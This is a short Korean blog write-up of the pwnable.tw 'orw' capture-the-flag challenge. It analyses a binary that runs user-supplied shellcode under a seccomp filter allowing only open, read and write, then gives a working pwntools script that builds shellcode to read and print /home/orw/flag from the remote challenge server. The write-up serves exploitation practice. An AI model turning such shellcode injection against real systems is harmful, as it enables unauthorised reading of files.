반응형
analysis
동적으로 실행하면 입력한 shellcode를 실행시켜주는 듯.
우리는 /home/orw/flag라는 파일을 읽어야하고 open, read, write만 사용 가능하다.
32bit이고 PIE, NX 없고
혹시나 싶어 secomp 확인
저기 나와있는 syscall에 한해 allow되고 그렇지 않은 것들은 ERRNO된다.
main 함수는 이번에도 간결..
printf를 하고 read 한다. printf 부분은 shellcode 입력하라는 출력으로 보인다.
그냥 그대로 쉘코드 넣어주면 될 것 같다. shellcraft 쓰면 편할거 같은데.
쉘코드 총 0xc8바이트만큼 입력받는 것에 유의한다.
exploit
from pwn import *
p = remote('chall.pwnable.tw', 10001)
context.arch = 'i386'
f = '/home/orw/flag'
sc = ''
sc += shellcraft.open(f)
sc += shellcraft.read('eax', 'esp', 0x100)
sc += shellcraft.write(1, 'esp', 0x100)
p.recvuntil(b':')
payload = asm(sc)
print('len:', hex(len(payload)))
p.send(payload)
p.interactive()
그냥 shellcraft를 사용하면 된다..
shellcraft만 사용하면 이해하지 못하고 넘어갈 수 있으니
위 내용도 살펴보면서 이런 식으로 shellcode를 작성하면 되는구나 이해하고 넘어가자.
반응형